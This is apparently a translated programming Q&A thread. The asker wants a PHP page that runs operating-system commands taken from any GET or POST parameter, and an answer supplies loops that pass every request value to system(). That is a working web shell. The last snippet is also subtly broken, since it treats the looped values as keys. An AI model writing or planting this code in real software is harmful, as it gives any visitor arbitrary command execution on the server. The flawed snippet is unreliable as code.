【问题标题】:php - take a value by any parameter and any methodphp - 通过任何参数和任何方法取值
【发布时间】:2017-02-16 16:24:12
【问题描述】:

我正在尝试制作一个简单的页面命令执行漏洞...这是我的代码:

system($_GET['cmd']);

它工作正常,像这样:http://example/index.php?cmd=ls

问题是我想让这个小代码与任何参数和任何方法(GET 或 POST)一起工作

例如,如果使用任何参数,那么它仍然会通过系统方法,即:“?hello=ls”。 (我不知道他们在哪里使用hello 作为密钥。有什么想法吗?

【问题讨论】:

  • 然后使用$_REQUEST

标签: php parameters execution


【解决方案1】:

您可以将每个索引键存储在一个数组中,然后循环设置值。

$keys = ['cmd', 'hello', 'etc..']; // jus add your params

// GET params
foreach($keys as $_key) {
    if(isset($_GET[$_key]) && !empty($_GET[$_key])) {
        system($_GET[$_key]);
    }
}

// POST params
foreach($keys as $_key) {
    if(isset($_POST[$_key]) && !empty($_POST[$_key])) {
        system($_POST[$_key]);
    }
}

如果您不想知道 POST/GET 的密钥,那么:

foreach($_GET as $key) {
    system($_GET[$key]);
}

foreach($_POST as $key) {
    system($_POST[$key]);
}

【讨论】:

  • OP:“问题是我想制作这个小代码,使用任何参数和任何方法(GET 或 POST)”
  • 你的意思是我做不到?
  • Ofc 你可以,这是一个简单的方法,只是有些人喜欢哭很多
  • 我不想定义特定的参数..我想处理任何事情。
  • 然后只需 foreach $_GET 和 foreach $_POST 它将遍历所有设置(无论键叫什么)...请参阅更新的问题以获取解决方案。
【解决方案2】:

您可以尝试使用: file_get_contents('php://input'); 获取 RAW 输入

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2021-12-07
    • 2011-11-22
    • 2011-09-11
    • 2012-05-24
    • 2012-10-10
    • 1970-01-01
    • 2021-04-24
    • 1970-01-01
    相关资源
    最近更新 更多